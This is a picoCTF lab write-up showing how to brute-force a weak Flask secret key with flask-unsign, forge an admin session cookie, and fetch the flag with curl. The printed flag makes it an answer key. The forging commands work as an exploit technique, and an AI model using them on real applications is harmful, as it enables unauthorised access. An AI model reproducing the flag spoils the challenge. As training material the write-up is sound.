--- ### Challenge Description Alright, enough of using my own encryption. Flask session cookies should be plenty secure! [server.py](https://mercury.picoctf.net/static/60f76192f6e1fea6f4e6e8c5fc9a6a27/server.py) [http://mercury.picoctf.net:44693/](http://mercury.picoctf.net:44693/) --- ### Summary This challenge involves exploiting a Flask web application's session cookie mechanism. The exploit was achieved by identifying that the Flask secret key is set to one of a list of predefined cookie names, making it possible to brute-force the key. Once the key was identified, the session cookie was manipulated to grant "admin" access. --- ### Initial Webpage Enumeration Home Page: ![[images/Pasted image 20230902142248.png]] The textbox suggested "snickerdoodle", so I search for it, and receive the following page: ![[images/Pasted image 20230902142317.png]] The site says "That is a cookie! Not very special though". The challenge description mentioned something about Flask session cookies; let's see what the current Flask cookie is set to. First, install `flask-unsign`: ```bash pip3 install flask-unsign\[wordlist\] ``` Then, run the following command to retrieve the cookie from the website and decode it: ``` flask-unsign --decode --server http://mercury.picoctf.net:44693/display ``` ![[images/Pasted image 20230902155121.png]] --- ### Exploit and Modify the Flask Cookie My first instinct is to change 'blank' to 'admin'. However, we first need to discover the key that the cookie is signed with, modify the cookie, then resign it: I attempted to brute force the key using `flask-unsign`'s' built in wordlist, to no avail: ``` flask-unsign --unsign --server http://mercury.picoctf.net:44693/display ``` ![[images/Pasted image 20230902155218.png]] Unsure how to continue, I decided to take a look at the challenges source code, and found an interesting code snibbit: ```python cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names) ``` It seems the flask secret key is randomly set to one of the values in `cookie_names`. This makes guessing the secret key trivial. Put all the potential keys into a wordlist of newline delimited python strings: `nano wordlist.txt` ``` "snickerdoodle" "chocolate chip" "oatmeal raisin" "gingersnap" "shortbread" "peanut butter" "whoopie pie" "sugar" "molasses" "kiss" "biscotti" "butter" "spritz" "snowball" "drop" "thumbprint" "pinwheel" "wafer" "macaroon" "fortune" "crinkle" "icebox" "gingerbread" "tassie" "lebkuchen" "macaron" "black and white" "white chocolate macadamia" ``` And find the key: ```bash flask-unsign --unsign --server http://mercury.picoctf.net:44693/display --wordlist wordlist.txt ``` ![[images/Pasted image 20230902155402.png]] Great, we have the secret key. Based on the source code, if `session["very_auth"]` equals `admin`, the flag will be displayed. ```python check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) ``` Lets create a cookie with `'very_auth: 'admin'`, and sign it with the key `butter`: ```bash flask-unsign --sign --secret butter --cookie "{'very_auth': 'admin'}" ``` Output: ``` eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZOV8kg.Xj4o9cz9VKzhvkS1_wIGzKI3JXo ``` Use curl to retrieve the flag (`html2text` is not required, it's just used to prettify the curl output): ```bash curl -s --cookie "session=eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZOV8kg.Xj4o9cz9VKzhvkS1_wIGzKI3JXo" http://mercury.picoctf.net:44693/display | grep pico | html2text ``` Output: ``` Flag: picoCTF{pwn_4ll_th3_cook1E5_dbfe90bf} ```